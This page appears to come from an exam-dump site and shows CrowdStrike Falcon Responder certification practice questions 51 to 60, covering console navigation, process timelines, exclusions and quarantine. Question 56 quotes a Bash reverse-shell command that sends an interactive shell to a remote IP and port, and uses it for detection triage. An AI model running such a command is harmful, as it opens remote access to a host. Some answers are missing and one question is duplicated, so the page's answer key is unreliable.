Summer Certification Limited Time 70% Discount Offer - Ends in 0d 00h 00m 00s - Coupon code = getmirror

Home
CrowdStrike
CCFR
CCFR-201b
CrowdStrike Certified Falcon Responder Questions and Answers

Pass the CrowdStrike CCFR CCFR-201b Questions and answers with ExamsMirror

Practice at least 50% of the questions to maximize your chances of passing.

Exam CCFR-201b Premium Access

View all detail and faqs for the CCFR-201b exam

Go to Exam

516 Students Passed

94% Average Score

90% Same Questions

Viewing page 6 out of 7 pages

Viewing questions 51-60 out of questions

Questions # 51:

Refer to the image.

Question # 51

You receive the detection displayed in the image above on a host in your environment.

Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?

Options:

Investigate > Connect to host

View Incident > Connect to host

Actions > Connect to host

Answer

Explanation

The correct navigation path is Actions > Connect to host. In Falcon, responders commonly initiate live response actions directly from the detection or host context using the Actions menu. This allows an authorized responder to start a Real Time Response session for hands-on investigation, artifact collection, command execution, and remediation. “Investigate > Connect to host” is not the direct path shown for this detection-driven workflow. “View Incident > Connect to host” is also incorrect because the task is to remotely connect to the affected host from the detection context, not simply open the incident view. The key requirement is permission-based RTR access; without the correct role and response policy permissions, the connection option may not be available.

Questions # 52:

What happens when you open the full detection details?

Options:

Theprocess explorer opens and the detection is removed from the console

The process explorer opens and you ' re able to view the processes and process relationships

The process explorer opens and the detection copies to the clipboard

The process explorer opens and the Event Search query is run for the detection

Answer

Questions # 53:

Refer to the image.

Question # 53

Within a Host Search, you have filtered for cmd.exe in the Process executions table and now need to pivot to a process timeline.

Which item in the table do you select to pivot to the Process Timeline?

Options:

PID

Process ID

Command Line

Answer

Explanation

The correct item to select is Process ID. In Falcon investigations, a Process Timeline requires the sensor-specific process identifier, not merely the operating system PID. The OS PID can be reused over time and is not sufficiently unique for reliable historical telemetry correlation. The Falcon Process ID maps to the process record used by the platform to retrieve process-related events such as file writes, network connections, registry activity, DNS requests, and child process creation. Selecting the command line may provide useful context, but it does not pivot directly into the process timeline. Selecting PID is less precise because it refers to the local operating system process identifier. For accurate process-scoped investigation, the Process ID is the correct pivot point.

Questions # 54:

Which statement is TRUE regarding the " Bulk Domains " search?

Options:

It will show a list of computers and process that performed a lookup of any of the domains in your search

The " Bulk Domains " search will allow you to blocklist your queried domains

The " Bulk Domains " search will show IP address and port information for any associated connections D. You should only pivot to the " Bulk Domains " search tool after completing an investigation

Answer

Questions # 55:

What are Event Actions?

Options:

Automated searches that can be used to pivot between related events and searches

Pivotable hyperlinks available in a Host Search

Custom event data queries bookmarked by the currently signed in Falcon user

Raw Falcon event data

Answer

Questions # 56:

Refer to the image.

Command line:

/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1

File path:

/bin/bash

You receive a detection on the Bash process indicating the command line in the image above.

Based on the command line, what is the next step you should take?

Options:

Investigate the host for manipulation of the root folder

Investigate the host for any Potentially Unwanted Programs (PUP)

Investigate the host for an interactive remote terminal

Investigate the host for developer activity

Answer

Explanation

The command line shows a classic Bash reverse shell pattern. The sh -i flag starts an interactive shell, while /dev/tcp/172.17.0.21/4444 redirects shell input and output over a TCP connection to a remote IP and port. This is not normal developer activity unless explicitly approved and documented, and it is not primarily evidence of root-folder manipulation or PUP behavior. The immediate investigative focus should be whether an adversary established an interactive remote terminal, because that would allow hands-on-keyboard activity, command execution, discovery, persistence setup, credential access, or lateral movement. In Falcon event investigation, command-line interpretation is critical. Here, the syntax strongly indicates remote interactive shell behavior and should be treated as potentially active compromise.

Questions # 57:

An analyst notices a detection that has been automatically flagged with the ' New Activity ' status. Which of the following statements best describes what this status indicates?

Options:

A brand new detection has been triggered on a host that was recently added to the network.

A detection that was previously moved to a resolved status has generated new telemetry and activity.

A user has logged into a machine for the first time since the sensor was installed.

The Falcon Overwatch team has manually verified that the detection is an active threat.

Answer

Questions # 58:

What happens when you create a Sensor Visibility Exclusion for a trusted file path?

Options:

It excludes host information from Detections and Incidents generated within that file path location

It prevents file uploads to the CrowdStrike cloud from that file path

It excludes sensor monitoring and event collection for the trusted file path

It disables detection generation from that path, however the sensor can still perform prevention actions

Answer

Questions # 59:

An administrator needs to download a file for analysis that was blocked by the sensor. Where are quarantine files located within the Falcon UI?

Options:

Investigate > Quarantine

Endpoint Security > Monitor > Quarantined Files

Configuration > Response > Quarantine

Dashboards > Security > Quarantine

Answer

Questions # 60:

Which statement is TRUE regarding the " Bulk Domains " search?

Options:

It will show a list of computers and process that performed a lookup of any of the domains in your search

The " Bulk Domains " search will allow you to blocklist your queried domains

The " Bulk Domains " search will show IP address and port information for any associated connections D. You should only pivot to the " Bulk Domains " search tool after completing an investigation

Answer

Viewing page 6 out of 7 pages

Viewing questions 51-60 out of questions